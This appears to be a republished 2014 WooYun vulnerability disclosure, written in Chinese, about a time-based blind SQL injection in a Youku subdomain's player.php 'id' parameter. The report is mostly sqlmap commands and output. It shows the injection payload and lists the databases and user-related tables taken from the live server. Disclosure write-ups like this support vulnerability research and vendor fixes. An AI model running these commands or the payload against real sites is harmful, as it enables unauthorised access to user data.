优酷某分站SQL注入一枚

2015年7月22日10:05:39评论240 views字数 206阅读0分41秒阅读模式

摘要

2014-10-28：细节已通知厂商并且等待厂商处理中
2014-10-28：厂商已经确认，细节仅向厂商公开
2014-11-07：细节向核心白帽子及相关领域专家公开
2014-11-17：细节向普通白帽子公开
2014-11-27：细节向实习白帽子公开
2014-12-12：细节向公众公开

漏洞概要关注数(3) 关注此漏洞

缺陷编号： WooYun-2014-81079

漏洞标题：优酷某分站SQL注入一枚

漏洞作者： Taro

提交时间： 2014-10-28 15:22

公开时间： 2014-12-12 15:22

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 15

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： php+数字类型注射 Mysql

1人收藏

漏洞详情

披露状态：

简要描述：

优酷某分站SQL注入一枚

详细说明：

http://hvsop.youku.com/player.php?id=2

祭出神器SQLMAP测试

Sqlmap -u http://hvsop.youku.com/player.php?id=2

sqlmap identified the following injection points with a total of 101 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=2' AND SLEEP(5) AND 'MGdk'='MGdk

---

[INFO] the back-end DBMS is MySQL

web application technology: Apache, PHP 5.3.10

back-end DBMS: MySQL 5.0.11

Sqlmap -u http://hvsop.youku.com/player.php?id=2 --dbs

available databases [3]:

[*] db_events

[*] information_schema

[*] test

Sqlmap -u http://hvsop.youku.com/player.php?id=2 -D db_events -- tables

[13:33:04] [INFO] retrieved: 7up_user

[13:35:39] [INFO] retrieved: adidas_2010_football

[13:42:15] [INFO] retrieved: adidas_2011_tvc_info

[13:46:45] [INFO] retrieved: adidas_comments

[13:51:13] [INFO] retrieved: aveo_clicks

[13:56:59] [INFO] retrieved: aveo_comments

[14:01:39] [INFO] retrieved: aveo_users

[14:04:59] [INFO] retrieved: background_users

[14:13:10] [INFO] retrieved: bosideng_1024_users

[14:22:31] [INFO] retrieved: bosideng_code

[14:25:34] [INFO] retrieved: bosideng_fake_users

[14:32:33] [INFO] retrieved: bosideng_photos

[14:38:06] [INFO] retrieved: bosideng_users

[14:42:09] [INFO] retrieved: bosideng_video_vote_logs

[14:52:56] [INFO] retrieved: bosideng_videos

[14:55:30] [INFO] retrieved: bosideng_vote_logs

[15:02:17] [INFO] retrieved: bsd_lpi_email

[15:06:59] [INFO] retrieved: bsd_kpi_user

[15:09:15] [INFO] retrieved: bsd_rt_log

[15:11:12] [INFO] retrieved: bsd_user

[15:12:27] [INFO] retrieved: bugles_videos

[15:16:42] [INFO] retrieved: casesharing_2013

花了几个小时，抛出数据太慢了，算了，提交了吧、、、

漏洞证明：